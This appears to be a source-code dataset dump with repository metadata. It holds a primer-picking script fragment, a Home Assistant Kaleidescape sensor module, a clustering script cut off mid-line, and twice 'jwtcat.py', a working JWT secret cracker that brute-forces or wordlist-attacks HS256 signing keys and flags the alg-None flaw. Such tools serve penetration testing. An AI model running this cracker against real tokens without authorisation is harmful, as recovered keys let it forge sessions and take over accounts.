'bad' : bad_products } # pp.pprint( products ) return products smalt_file = '8:96259936.smalt' def pick_best_primers( primer_data, chromo, start_pos, end_pos ): # Finally we are getting to the crux of this whole ordeal: Pick the best primers. # I will be done using the following rules: # Unique MAPPING primers are best # primers closest to the region of interest # Primers generating odd products are eliminated. # First group the primers according to the region. # pp.pprint( primer_data ) # pp.pprint( pcr_products ) (closest_fwd, dist_fwd) = (None, None) (closest_rev, dist_rev) = (None, None) for primer in primer_data: if ( primer == 'FULLSEQ'): continue if ( primer_data[ primer][ 'MAPPING_SUMMARY' ] != 'unique mapping'): print "Non unique mapping ( %s )" % primer continue if ( primer_data[ primer ][ 'CHR' ][ 0 ] != chromo ): print "Unique mapping to different chromosome (%s). Should never happen! " % primer continue if (primer.find( 'LEFT' ) >= 0): primer_dist = start_pos - int (primer_data[ primer ][ 'POS' ][ 0 ]) + 1 if ( primer_dist < 0 ): print "Primer %s downstream of region ! ( %d [%d, %d])" % (primer, primer_dist, start_pos, int (primer_data[ primer ][ 'POS' ][ 0 ])) continue if ( dist_fwd is None or primer_dist < dist_fwd): dist_fwd = primer_dist closest_fwd = primer continue elif( primer.find( 'RIGHT' ) >= 0): primer_dist = int (primer_data[ primer ][ 'POS' ][ 0 ]) - end_pos + 1 if ( primer_dist < 0 ): print "Primer %s uptream of region ! (%d)" % (primer, primer_dist) continue if ( dist_rev is None or primer_dist < dist_rev ): dist_rev = primer_dist closest_rev = primer continue return closest_fwd, closest_rev if ( sys.argv >= 1 ): smalt_file = sys.argv[1] region = smalt_file.rstrip(".smalt") (chromo, pos) = region.split(":") (start_pos, end_pos) = map(int, pos.split("-")) primer_data = check_primers( smalt_file ) #pp.pprint( primer_data ) pcr_products = digital_PCR( primer_data ) pcr_products = check_PCR_products( pcr_products, chromo, start_pos, end_pos ) fwd_primer, rev_primer = pick_best_primers(primer_data, chromo, start_pos, end_pos) print " Picked Primer Pair ( %s, %s )" % ( fwd_primer, rev_primer) print "SMALT FILE :: %s " % smalt_file

9,174

0

108

468b7ced0e8f8a70318c5c31ab90dbec90b9c0e1

6,722

py

Python

homeassistant/components/kaleidescape/sensor.py

MrDelik/core

93a66cc357b226389967668441000498a10453bb

[ "Apache-2.0" ]

30,023

2016-04-13T10:17:53.000Z

2020-03-02T12:56:31.000Z

homeassistant/components/kaleidescape/sensor.py

MrDelik/core

93a66cc357b226389967668441000498a10453bb

[ "Apache-2.0" ]

24,710

2016-04-13T08:27:26.000Z

2020-03-02T12:59:13.000Z

homeassistant/components/kaleidescape/sensor.py

MrDelik/core

93a66cc357b226389967668441000498a10453bb

[ "Apache-2.0" ]

11,956

2016-04-13T18:42:31.000Z

2020-03-02T09:32:12.000Z

"""Sensor platform for Kaleidescape integration.""" from __future__ import annotations from dataclasses import dataclass from typing import TYPE_CHECKING from homeassistant.components.sensor import SensorEntity, SensorEntityDescription from homeassistant.const import PERCENTAGE from homeassistant.helpers.entity import EntityCategory from .const import DOMAIN as KALEIDESCAPE_DOMAIN from .entity import KaleidescapeEntity if TYPE_CHECKING: from collections.abc import Callable from kaleidescape import Device as KaleidescapeDevice from homeassistant.config_entries import ConfigEntry from homeassistant.core import HomeAssistant from homeassistant.helpers.entity_platform import AddEntitiesCallback from homeassistant.helpers.typing import StateType @dataclass class BaseEntityDescriptionMixin: """Mixin for required descriptor keys.""" value_fn: Callable[[KaleidescapeDevice], StateType] @dataclass class KaleidescapeSensorEntityDescription( SensorEntityDescription, BaseEntityDescriptionMixin ): """Describes Kaleidescape sensor entity.""" SENSOR_TYPES: tuple[KaleidescapeSensorEntityDescription, ...] = ( KaleidescapeSensorEntityDescription( key="media_location", name="Media Location", icon="mdi:monitor", value_fn=lambda device: device.automation.movie_location, ), KaleidescapeSensorEntityDescription( key="play_status", name="Play Status", icon="mdi:monitor", value_fn=lambda device: device.movie.play_status, ), KaleidescapeSensorEntityDescription( key="play_speed", name="Play Speed", icon="mdi:monitor", value_fn=lambda device: device.movie.play_speed, ), KaleidescapeSensorEntityDescription( key="video_mode", name="Video Mode", icon="mdi:monitor-screenshot", entity_category=EntityCategory.DIAGNOSTIC, value_fn=lambda device: device.automation.video_mode, ), KaleidescapeSensorEntityDescription( key="video_color_eotf", name="Video Color EOTF", icon="mdi:monitor-eye", entity_category=EntityCategory.DIAGNOSTIC, value_fn=lambda device: device.automation.video_color_eotf, ), KaleidescapeSensorEntityDescription( key="video_color_space", name="Video Color Space", icon="mdi:monitor-eye", entity_category=EntityCategory.DIAGNOSTIC, value_fn=lambda device: device.automation.video_color_space, ), KaleidescapeSensorEntityDescription( key="video_color_depth", name="Video Color Depth", icon="mdi:monitor-eye", entity_category=EntityCategory.DIAGNOSTIC, value_fn=lambda device: device.automation.video_color_depth, ), KaleidescapeSensorEntityDescription( key="video_color_sampling", name="Video Color Sampling", icon="mdi:monitor-eye", entity_category=EntityCategory.DIAGNOSTIC, value_fn=lambda device: device.automation.video_color_sampling, ), KaleidescapeSensorEntityDescription( key="screen_mask_ratio", name="Screen Mask Ratio", icon="mdi:monitor-screenshot", entity_category=EntityCategory.DIAGNOSTIC, value_fn=lambda device: device.automation.screen_mask_ratio, ), KaleidescapeSensorEntityDescription( key="screen_mask_top_trim_rel", name="Screen Mask Top Trim Rel", icon="mdi:monitor-screenshot", entity_category=EntityCategory.DIAGNOSTIC, native_unit_of_measurement=PERCENTAGE, value_fn=lambda device: device.automation.screen_mask_top_trim_rel / 10.0, ), KaleidescapeSensorEntityDescription( key="screen_mask_bottom_trim_rel", name="Screen Mask Bottom Trim Rel", icon="mdi:monitor-screenshot", entity_category=EntityCategory.DIAGNOSTIC, native_unit_of_measurement=PERCENTAGE, value_fn=lambda device: device.automation.screen_mask_bottom_trim_rel / 10.0, ), KaleidescapeSensorEntityDescription( key="screen_mask_conservative_ratio", name="Screen Mask Conservative Ratio", icon="mdi:monitor-screenshot", entity_category=EntityCategory.DIAGNOSTIC, value_fn=lambda device: device.automation.screen_mask_conservative_ratio, ), KaleidescapeSensorEntityDescription( key="screen_mask_top_mask_abs", name="Screen Mask Top Mask Abs", icon="mdi:monitor-screenshot", entity_category=EntityCategory.DIAGNOSTIC, native_unit_of_measurement=PERCENTAGE, value_fn=lambda device: device.automation.screen_mask_top_mask_abs / 10.0, ), KaleidescapeSensorEntityDescription( key="screen_mask_bottom_mask_abs", name="Screen Mask Bottom Mask Abs", icon="mdi:monitor-screenshot", entity_category=EntityCategory.DIAGNOSTIC, native_unit_of_measurement=PERCENTAGE, value_fn=lambda device: device.automation.screen_mask_bottom_mask_abs / 10.0, ), KaleidescapeSensorEntityDescription( key="cinemascape_mask", name="Cinemascape Mask", icon="mdi:monitor-star", entity_category=EntityCategory.DIAGNOSTIC, value_fn=lambda device: device.automation.cinemascape_mask, ), KaleidescapeSensorEntityDescription( key="cinemascape_mode", name="Cinemascape Mode", icon="mdi:monitor-star", entity_category=EntityCategory.DIAGNOSTIC, value_fn=lambda device: device.automation.cinemascape_mode, ), ) async def async_setup_entry( hass: HomeAssistant, entry: ConfigEntry, async_add_entities: AddEntitiesCallback ) -> None: """Set up the platform from a config entry.""" device: KaleidescapeDevice = hass.data[KALEIDESCAPE_DOMAIN][entry.entry_id] async_add_entities( KaleidescapeSensor(device, description) for description in SENSOR_TYPES ) class KaleidescapeSensor(KaleidescapeEntity, SensorEntity): """Representation of a Kaleidescape sensor.""" entity_description: KaleidescapeSensorEntityDescription def __init__( self, device: KaleidescapeDevice, entity_description: KaleidescapeSensorEntityDescription, ) -> None: """Initialize sensor.""" super().__init__(device) self.entity_description = entity_description self._attr_unique_id = f"{self._attr_unique_id}-{entity_description.key}" self._attr_name = f"{self._attr_name} {entity_description.name}" @property def native_value(self) -> StateType: """Return value of sensor.""" return self.entity_description.value_fn(self._device)

35.946524

85

0.717792

"""Sensor platform for Kaleidescape integration.""" from __future__ import annotations from dataclasses import dataclass from typing import TYPE_CHECKING from homeassistant.components.sensor import SensorEntity, SensorEntityDescription from homeassistant.const import PERCENTAGE from homeassistant.helpers.entity import EntityCategory from .const import DOMAIN as KALEIDESCAPE_DOMAIN from .entity import KaleidescapeEntity if TYPE_CHECKING: from collections.abc import Callable from kaleidescape import Device as KaleidescapeDevice from homeassistant.config_entries import ConfigEntry from homeassistant.core import HomeAssistant from homeassistant.helpers.entity_platform import AddEntitiesCallback from homeassistant.helpers.typing import StateType @dataclass class BaseEntityDescriptionMixin: """Mixin for required descriptor keys.""" value_fn: Callable[[KaleidescapeDevice], StateType] @dataclass class KaleidescapeSensorEntityDescription( SensorEntityDescription, BaseEntityDescriptionMixin ): """Describes Kaleidescape sensor entity.""" SENSOR_TYPES: tuple[KaleidescapeSensorEntityDescription, ...] = ( KaleidescapeSensorEntityDescription( key="media_location", name="Media Location", icon="mdi:monitor", value_fn=lambda device: device.automation.movie_location, ), KaleidescapeSensorEntityDescription( key="play_status", name="Play Status", icon="mdi:monitor", value_fn=lambda device: device.movie.play_status, ), KaleidescapeSensorEntityDescription( key="play_speed", name="Play Speed", icon="mdi:monitor", value_fn=lambda device: device.movie.play_speed, ), KaleidescapeSensorEntityDescription( key="video_mode", name="Video Mode", icon="mdi:monitor-screenshot", entity_category=EntityCategory.DIAGNOSTIC, value_fn=lambda device: device.automation.video_mode, ), KaleidescapeSensorEntityDescription( key="video_color_eotf", name="Video Color EOTF", icon="mdi:monitor-eye", entity_category=EntityCategory.DIAGNOSTIC, value_fn=lambda device: device.automation.video_color_eotf, ), KaleidescapeSensorEntityDescription( key="video_color_space", name="Video Color Space", icon="mdi:monitor-eye", entity_category=EntityCategory.DIAGNOSTIC, value_fn=lambda device: device.automation.video_color_space, ), KaleidescapeSensorEntityDescription( key="video_color_depth", name="Video Color Depth", icon="mdi:monitor-eye", entity_category=EntityCategory.DIAGNOSTIC, value_fn=lambda device: device.automation.video_color_depth, ), KaleidescapeSensorEntityDescription( key="video_color_sampling", name="Video Color Sampling", icon="mdi:monitor-eye", entity_category=EntityCategory.DIAGNOSTIC, value_fn=lambda device: device.automation.video_color_sampling, ), KaleidescapeSensorEntityDescription( key="screen_mask_ratio", name="Screen Mask Ratio", icon="mdi:monitor-screenshot", entity_category=EntityCategory.DIAGNOSTIC, value_fn=lambda device: device.automation.screen_mask_ratio, ), KaleidescapeSensorEntityDescription( key="screen_mask_top_trim_rel", name="Screen Mask Top Trim Rel", icon="mdi:monitor-screenshot", entity_category=EntityCategory.DIAGNOSTIC, native_unit_of_measurement=PERCENTAGE, value_fn=lambda device: device.automation.screen_mask_top_trim_rel / 10.0, ), KaleidescapeSensorEntityDescription( key="screen_mask_bottom_trim_rel", name="Screen Mask Bottom Trim Rel", icon="mdi:monitor-screenshot", entity_category=EntityCategory.DIAGNOSTIC, native_unit_of_measurement=PERCENTAGE, value_fn=lambda device: device.automation.screen_mask_bottom_trim_rel / 10.0, ), KaleidescapeSensorEntityDescription( key="screen_mask_conservative_ratio", name="Screen Mask Conservative Ratio", icon="mdi:monitor-screenshot", entity_category=EntityCategory.DIAGNOSTIC, value_fn=lambda device: device.automation.screen_mask_conservative_ratio, ), KaleidescapeSensorEntityDescription( key="screen_mask_top_mask_abs", name="Screen Mask Top Mask Abs", icon="mdi:monitor-screenshot", entity_category=EntityCategory.DIAGNOSTIC, native_unit_of_measurement=PERCENTAGE, value_fn=lambda device: device.automation.screen_mask_top_mask_abs / 10.0, ), KaleidescapeSensorEntityDescription( key="screen_mask_bottom_mask_abs", name="Screen Mask Bottom Mask Abs", icon="mdi:monitor-screenshot", entity_category=EntityCategory.DIAGNOSTIC, native_unit_of_measurement=PERCENTAGE, value_fn=lambda device: device.automation.screen_mask_bottom_mask_abs / 10.0, ), KaleidescapeSensorEntityDescription( key="cinemascape_mask", name="Cinemascape Mask", icon="mdi:monitor-star", entity_category=EntityCategory.DIAGNOSTIC, value_fn=lambda device: device.automation.cinemascape_mask, ), KaleidescapeSensorEntityDescription( key="cinemascape_mode", name="Cinemascape Mode", icon="mdi:monitor-star", entity_category=EntityCategory.DIAGNOSTIC, value_fn=lambda device: device.automation.cinemascape_mode, ), ) async def async_setup_entry( hass: HomeAssistant, entry: ConfigEntry, async_add_entities: AddEntitiesCallback ) -> None: """Set up the platform from a config entry.""" device: KaleidescapeDevice = hass.data[KALEIDESCAPE_DOMAIN][entry.entry_id] async_add_entities( KaleidescapeSensor(device, description) for description in SENSOR_TYPES ) class KaleidescapeSensor(KaleidescapeEntity, SensorEntity): """Representation of a Kaleidescape sensor.""" entity_description: KaleidescapeSensorEntityDescription def __init__( self, device: KaleidescapeDevice, entity_description: KaleidescapeSensorEntityDescription, ) -> None: """Initialize sensor.""" super().__init__(device) self.entity_description = entity_description self._attr_unique_id = f"{self._attr_unique_id}-{entity_description.key}" self._attr_name = f"{self._attr_name} {entity_description.name}" @property def native_value(self) -> StateType: """Return value of sensor.""" return self.entity_description.value_fn(self._device)

0

9842462bbceae77c84a005622d5cad9050cc08cf

9,334

py

Python

jwtcat.py

xrzhev/jwtcat

64dde89c2e2e7634d9f5d7bbb5a788952e04e345

[ "Apache-2.0" ]

1

2021-05-04T22:48:00.000Z

jwtcat.py

FDlucifer/jwtcat

64dde89c2e2e7634d9f5d7bbb5a788952e04e345

[ "Apache-2.0" ]

null

jwtcat.py

FDlucifer/jwtcat

64dde89c2e2e7634d9f5d7bbb5a788952e04e345

[ "Apache-2.0" ]

1

2021-08-31T14:24:16.000Z

#!/usr/bin/env python3 # Copyright (C) 2017 - 2020 Alexandre Teyar # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import argparse import json import logging import os import signal import sys import time from datetime import datetime, timedelta from itertools import chain, product import coloredlogs import jwt from tqdm import tqdm logger = logging.getLogger(__name__) coloredlogs.install(level='DEBUG', milliseconds=True) def parse_args(): """This function parses the command line. Returns: [object] -- The parsed arguments """ parser = argparse.ArgumentParser( description="A CPU-based JSON Web Token (JWT) cracker", formatter_class=argparse.ArgumentDefaultsHelpFormatter ) subparsers = parser.add_subparsers( dest='attack_mode', title="Attack-mode", required=True ) brute_force_subparser = subparsers.add_parser( "brute-force", formatter_class=argparse.ArgumentDefaultsHelpFormatter, ) brute_force_subparser.add_argument( "-c", "--charset", default="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", dest="charset", help="User-defined charset", type=str, required=False, ) brute_force_subparser.add_argument( "--increment-min", default=1, dest="increment_min", help="Start incrementing at X", type=int, required=False, ) brute_force_subparser.add_argument( "--increment-max", default=8, dest="increment_max", help="Stop incrementing at X", type=int, required=False, ) cve_subparser = subparsers.add_parser( "vulnerable", formatter_class=argparse.ArgumentDefaultsHelpFormatter, ) wordlist__subparser = subparsers.add_parser( "wordlist", formatter_class=argparse.ArgumentDefaultsHelpFormatter, ) # Set the UTF-8 encoding and ignore error mode to avoid issues with the wordlist wordlist__subparser.add_argument( "-w", "--wordlist", default=argparse.SUPPRESS, dest="wordlist", help="Wordlist of private key candidates", required=True, type=argparse.FileType( 'r', encoding='UTF-8', errors='ignore' ) ) parser.add_argument( "-lL", "--log-level", default=logging.INFO, dest="log_level", # TODO: Improve how to retrieve all log levels choices=[ 'DEBUG', 'INFO', ], help="Set the logging level", type=str, required=False, ) parser.add_argument( "-o", "--outfile", dest="outfile", help="Define outfile for recovered private keys", required=False, type=argparse.FileType( 'w+', encoding='UTF-8', errors='ignore' ) ) parser.add_argument( "--potfile-disable", action='store_true', default=False, dest="potfile_disable", help="Do not write potfile", required=False, ) parser.add_argument( "--potfile-path", default='jwtpot.potfile', dest="potfile", help="Specific path to potfile", required=False, type=argparse.FileType( 'a+', encoding='UTF-8', errors='ignore' ) ) # parser.add_argument( # "-tF", "--jwt-file", # default=argparse.SUPPRESS, # dest="token_file", # help="File with JSON Web Tokens to attack", # required=False, # type=argparse.FileType( # 'r', # encoding='UTF-8', # errors='ignore' # ) # ) parser.add_argument( default=argparse.SUPPRESS, dest="token", help="JSON Web Token to attack", type=str ) return parser.parse_args() def bruteforce(charset, minlength, maxlength): """This function generates all the different possible combination in a given character space. Arguments: charset {string} -- The charset used to generate all possible candidates minlength {integer} -- The minimum length for candiates generation maxlength {integer} -- The maximum length for candiates generation Returns: [type] -- All the possible candidates """ return (''.join(candidate) for candidate in chain.from_iterable(product(charset, repeat=i) for i in range(minlength, maxlength + 1))) def run(token, candidate): """This function checks if a candidate can decrypt a JWT token. Arguments: token {string} -- An encrypted JWT token to test candidate {string} -- A candidate word for decoding Returns: [boolean] -- Result of the decoding attempt """ try: payload = jwt.decode(token, candidate, algorithm='HS256') return True except jwt.exceptions.DecodeError: logger.debug(f"DecodingError: {candidate}") return False except jwt.exceptions.InvalidTokenError: logger.debug(f"InvalidTokenError: {candidate}") return False except Exception as ex: logger.exception(f"Exception: {ex}") sys.exit(1) def is_vulnerable(args): """This function checks a JWT token against a well-known vulnerabilities. Arguments: args {object} -- The command-line arguments """ headers = jwt.get_unverified_header(args.token) if headers['alg'] == "HS256": logging.info("JWT vulnerable to HS256 guessing attacks") elif headers['alg'] == "None": logging.info("JWT vulnerable to CVE-2018-1000531") def hs256_attack(args): """This function passes down different candidates to the run() function and is required to handle different types of guessing attack. Arguments: args {object} -- The command-line arguments """ headers = jwt.get_unverified_header(args.token) if not headers['alg'] == "HS256": logging.error("JWT signed using an algorithm other than HS256.") else: tqdm_disable = True if args.log_level == "DEBUG" else False if args.attack_mode == "brute-force": # Count = .... for candidate in tqdm(bruteforce(args.charset, args.increment_min, args.increment_max), disable=tqdm_disable): if run(args.token, candidate): return candidate return None elif args.attack_mode == "wordlist": word_count = len(open(args.wordlist.name, "r", encoding="utf-8").readlines()) for entry in tqdm(args.wordlist, disable=tqdm_disable, total=word_count): if run(args.token, entry.rstrip()): return entry.rstrip() return None if __name__ == "__main__": main()

29.726115

238

0.610564

#!/usr/bin/env python3 # Copyright (C) 2017 - 2020 Alexandre Teyar # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import argparse import json import logging import os import signal import sys import time from datetime import datetime, timedelta from itertools import chain, product import coloredlogs import jwt from tqdm import tqdm logger = logging.getLogger(__name__) coloredlogs.install(level='DEBUG', milliseconds=True) def parse_args(): """This function parses the command line. Returns: [object] -- The parsed arguments """ parser = argparse.ArgumentParser( description="A CPU-based JSON Web Token (JWT) cracker", formatter_class=argparse.ArgumentDefaultsHelpFormatter ) subparsers = parser.add_subparsers( dest='attack_mode', title="Attack-mode", required=True ) brute_force_subparser = subparsers.add_parser( "brute-force", formatter_class=argparse.ArgumentDefaultsHelpFormatter, ) brute_force_subparser.add_argument( "-c", "--charset", default="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", dest="charset", help="User-defined charset", type=str, required=False, ) brute_force_subparser.add_argument( "--increment-min", default=1, dest="increment_min", help="Start incrementing at X", type=int, required=False, ) brute_force_subparser.add_argument( "--increment-max", default=8, dest="increment_max", help="Stop incrementing at X", type=int, required=False, ) cve_subparser = subparsers.add_parser( "vulnerable", formatter_class=argparse.ArgumentDefaultsHelpFormatter, ) wordlist__subparser = subparsers.add_parser( "wordlist", formatter_class=argparse.ArgumentDefaultsHelpFormatter, ) # Set the UTF-8 encoding and ignore error mode to avoid issues with the wordlist wordlist__subparser.add_argument( "-w", "--wordlist", default=argparse.SUPPRESS, dest="wordlist", help="Wordlist of private key candidates", required=True, type=argparse.FileType( 'r', encoding='UTF-8', errors='ignore' ) ) parser.add_argument( "-lL", "--log-level", default=logging.INFO, dest="log_level", # TODO: Improve how to retrieve all log levels choices=[ 'DEBUG', 'INFO', ], help="Set the logging level", type=str, required=False, ) parser.add_argument( "-o", "--outfile", dest="outfile", help="Define outfile for recovered private keys", required=False, type=argparse.FileType( 'w+', encoding='UTF-8', errors='ignore' ) ) parser.add_argument( "--potfile-disable", action='store_true', default=False, dest="potfile_disable", help="Do not write potfile", required=False, ) parser.add_argument( "--potfile-path", default='jwtpot.potfile', dest="potfile", help="Specific path to potfile", required=False, type=argparse.FileType( 'a+', encoding='UTF-8', errors='ignore' ) ) # parser.add_argument( # "-tF", "--jwt-file", # default=argparse.SUPPRESS, # dest="token_file", # help="File with JSON Web Tokens to attack", # required=False, # type=argparse.FileType( # 'r', # encoding='UTF-8', # errors='ignore' # ) # ) parser.add_argument( default=argparse.SUPPRESS, dest="token", help="JSON Web Token to attack", type=str ) return parser.parse_args() def bruteforce(charset, minlength, maxlength): """This function generates all the different possible combination in a given character space. Arguments: charset {string} -- The charset used to generate all possible candidates minlength {integer} -- The minimum length for candiates generation maxlength {integer} -- The maximum length for candiates generation Returns: [type] -- All the possible candidates """ return (''.join(candidate) for candidate in chain.from_iterable(product(charset, repeat=i) for i in range(minlength, maxlength + 1))) def run(token, candidate): """This function checks if a candidate can decrypt a JWT token. Arguments: token {string} -- An encrypted JWT token to test candidate {string} -- A candidate word for decoding Returns: [boolean] -- Result of the decoding attempt """ try: payload = jwt.decode(token, candidate, algorithm='HS256') return True except jwt.exceptions.DecodeError: logger.debug(f"DecodingError: {candidate}") return False except jwt.exceptions.InvalidTokenError: logger.debug(f"InvalidTokenError: {candidate}") return False except Exception as ex: logger.exception(f"Exception: {ex}") sys.exit(1) def is_vulnerable(args): """This function checks a JWT token against a well-known vulnerabilities. Arguments: args {object} -- The command-line arguments """ headers = jwt.get_unverified_header(args.token) if headers['alg'] == "HS256": logging.info("JWT vulnerable to HS256 guessing attacks") elif headers['alg'] == "None": logging.info("JWT vulnerable to CVE-2018-1000531") def hs256_attack(args): """This function passes down different candidates to the run() function and is required to handle different types of guessing attack. Arguments: args {object} -- The command-line arguments """ headers = jwt.get_unverified_header(args.token) if not headers['alg'] == "HS256": logging.error("JWT signed using an algorithm other than HS256.") else: tqdm_disable = True if args.log_level == "DEBUG" else False if args.attack_mode == "brute-force": # Count = .... for candidate in tqdm(bruteforce(args.charset, args.increment_min, args.increment_max), disable=tqdm_disable): if run(args.token, candidate): return candidate return None elif args.attack_mode == "wordlist": word_count = len(open(args.wordlist.name, "r", encoding="utf-8").readlines()) for entry in tqdm(args.wordlist, disable=tqdm_disable, total=word_count): if run(args.token, entry.rstrip()): return entry.rstrip() return None def main(): try: args = parse_args() logger.setLevel(args.log_level) start_time = time.time() if args.attack_mode == "vulnerable": is_vulnerable(args) elif args.attack_mode in ('brute-force', 'wordlist'): logger.warning( "For attacking complex JWT, it is best to use compiled, GPU accelerated password crackers such as Hashcat and John the Ripper which offer more advanced techniques such as raw brute forcing, rules-based, and mask attacks.") logger.info( "Pour yourself a cup (or two) of ☕ as this operation might take a while depending on the size of your wordlist.") candidate = hs256_attack(args) if candidate: logger.info(f"Private key found: {candidate}") if args.outfile: args.outfile.write(f"{args.token}:{candidate}\n") logging.info(f"Private key saved to: {args.outfile.name}") # Save the private secret into a file in case sys.stdout is unresponsive if not args.potfile_disable: args.potfile.write(f"{args.token}:{candidate}\n") else: logger.info( "The private key was not found in this wordlist. Consider using a bigger wordlist or other types of attacks.") end_time = time.time() elapsed_time = end_time - start_time logger.info(f"Finished in {elapsed_time} sec") except KeyboardInterrupt: logger.error("CTRL+C pressed, exiting...") # Not sure if necessary # args.wordlist.close() elapsed_time = time.time() - start_time logger.info(f"Interrupted after {elapsed_time} sec") except Exception as e: logger.error(f"{e}") if __name__ == "__main__": main()

1,811

0

23

b330967e3f8aafec1bee4bafd68911efd75bd2be

4,523

py

Python

MSI-segmentation/MSI-segmentation_L1.0.py

hanghu1024/MSI-segmentation

fe5082575fb2c06a2baffaf89f6da7627fa165ac

[ "MIT" ]

4

2021-06-22T15:27:02.000Z

2022-03-05T17:07:31.000Z

MSI-segmentation/MSI-segmentation_L1.0.py

hanghu1024/MSI-segmentation

fe5082575fb2c06a2baffaf89f6da7627fa165ac

[ "MIT" ]

null

MSI-segmentation/MSI-segmentation_L1.0.py

hanghu1024/MSI-segmentation

fe5082575fb2c06a2baffaf89f6da7627fa165ac

[ "MIT" ]

1

2021-12-07T12:51:45.000Z

#=========================================== # import modules, defs and variables #=========================================== exec(open("./external.py").read()) exec(open("./defs.py").read()) exec(open("./config.py").read()) print('Finish modules, defs and variables import') #=========================================== # L1.0 import data #=========================================== df_pixel_rep = pd.read_csv(L0outputDir) pixel_rep = df_pixel_rep.values.astype(np.float64) print('Finish pixel raw data import') #=========================================== # L1.0 data processing and manipulate #=========================================== nPCs = retrace_columns(df_pixel_rep.columns.values, 'PC') pcs = pixel_rep[:, 2:nPCs + 2] # make folders for multivariate analysis OutputFolder = locate_OutputFolder2(L0outputDir) OutputFolder = locate_OutputFolder3(OutputFolder, 'multivariate clustering') os.mkdir(OutputFolder) # initiate a df for labels df_pixel_label = pd.DataFrame(data=df_pixel_rep[['line_index', 'spectrum_index']].values.astype(int), columns = ['line_index','spectrum_index']) print('Finish raw data processing') #=========================================== # L1.0 GMM ensemble clustering #=========================================== n_component = generate_nComponentList(n_components, span) for i in range(repeat): # may repeat several times for j in range(n_component.shape[0]): # ensemble with different n_component value StaTime = time.time() gmm = GMM(n_components = n_component[j], max_iter = 500) # max_iter does matter, no random seed assigned labels = gmm.fit_predict(pcs) # save data index = j+1+i*n_component.shape[0] title = 'No.' + str(index) + '_' +str(n_component[j]) + '_' + str(i) df_pixel_label[title] = labels SpenTime = (time.time() - StaTime) # progressbar print('{}/{}, finish classifying {}, running time is: {} s'.format(index, repeat*span, title, round(SpenTime, 2))) print('Finish L1.0 GMM ensemble clustering, next step: L1.1 data process, plot and export data') #=========================================== # L1.1 data processing and manipulate #=========================================== pixel_label = relabel(df_pixel_label) # parse dimension NumLine = np.max(df_pixel_label.iloc[:,0])+1 NumSpePerLine = np.max(df_pixel_label.iloc[:,1])+1 # parameter for plotting aspect = AspectRatio*NumSpePerLine/NumLine # organize img img = pixel_label.T.reshape(pixel_label.shape[1], NumLine, NumSpePerLine) print('Finish L1.1 data process') #=========================================== # L1.1 ensemble results in mosaic plot, save images #=========================================== # mosaic img show # parameters: w_fig = 20 # default setting ncols = ncols_L1 nrows = math.ceil((img.shape[0]-2)/ncols) h_fig = w_fig * nrows * (AspectRatio + 0.16) / ncols # 0.2 is the space for title parameters columns = df_pixel_label.columns.values fig = plt.figure(figsize=(w_fig, h_fig)) fig.subplots_adjust(hspace= 0, wspace=0.01, right=0.95) for i in range(1, img.shape[0]+1): ax = fig.add_subplot(nrows, ncols, i) im = ax.imshow(img[i-1], cmap=cm.tab20, aspect = aspect, vmin=0,vmax=19, interpolation='none') ax.set_xticks([]) ax.set_yticks([]) # title title = columns[i+1] ax.set_title(title, pad=8, fontsize = 15) # colorbar cbar_ax = fig.add_axes([0.96,0.1,0.01,0.8]) cbar = fig.colorbar(im, cax=cbar_ax, ticks=[0.5,1.4,2.3,3.3,4.3,5.1,6.2,7,8.1,9,10,10.9,11.8,12.7,13.6,14.7,15.6,16.6,17.5,18.5]) cbar.ax.set_yticklabels([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19]) #hard code cbar.ax.tick_params(labelsize=10) SaveDir = OutputFolder + '\\ensemble_clustering_plot.png' plt.savefig(SaveDir, dpi=dpi) plt.close() print('Finish L1.1 GMM ensemble clustering result plotting, saving .csv file') #=========================================== # save data #=========================================== # organize a dataframe for relabel data df_pixel_relabel = pd.DataFrame(pixel_label.astype(int), columns = df_pixel_label.columns.values[2:df_pixel_label.shape[1]]) df_pixel_relabel.insert(0, 'spectrum_index', df_pixel_label.iloc[:,1]) df_pixel_relabel.insert(0, 'line_index', df_pixel_label.iloc[:,0]) SaveDir = OutputFolder + '\\pixel_label.csv' df_pixel_relabel.to_csv(SaveDir, index=False, sep=',') print('L1 is done, please check output results at: \n{}'.format(OutputFolder))

37.380165

144

0.605129

#=========================================== # import modules, defs and variables #=========================================== exec(open("./external.py").read()) exec(open("./defs.py").read()) exec(open("./config.py").read()) print('Finish modules, defs and variables import') #=========================================== # L1.0 import data #=========================================== df_pixel_rep = pd.read_csv(L0outputDir) pixel_rep = df_pixel_rep.values.astype(np.float64) print('Finish pixel raw data import') #=========================================== # L1.0 data processing and manipulate #=========================================== nPCs = retrace_columns(df_pixel_rep.columns.values, 'PC') pcs = pixel_rep[:, 2:nPCs + 2] # make folders for multivariate analysis OutputFolder = locate_OutputFolder2(L0outputDir) OutputFolder = locate_OutputFolder3(OutputFolder, 'multivariate clustering') os.mkdir(OutputFolder) # initiate a df for labels df_pixel_label = pd.DataFrame(data=df_pixel_rep[['line_index', 'spectrum_index']].values.astype(int), columns = ['line_index','spectrum_index']) print('Finish raw data processing') #=========================================== # L1.0 GMM ensemble clustering #=========================================== n_component = generate_nComponentList(n_components, span) for i in range(repeat): # may repeat several times for j in range(n_component.shape[0]): # ensemble with different n_component value StaTime = time.time() gmm = GMM(n_components = n_component[j], max_iter = 500) # max_iter does matter, no random seed assigned labels = gmm.fit_predict(pcs) # save data index = j+1+i*n_component.shape[0] title = 'No.' + str(index) + '_' +str(n_component[j]) + '_' + str(i) df_pixel_label[title] = labels SpenTime = (time.time() - StaTime) # progressbar print('{}/{}, finish classifying {}, running time is: {} s'.format(index, repeat*span, title, round(SpenTime, 2))) print('Finish L1.0 GMM ensemble clustering, next step: L1.1 data process, 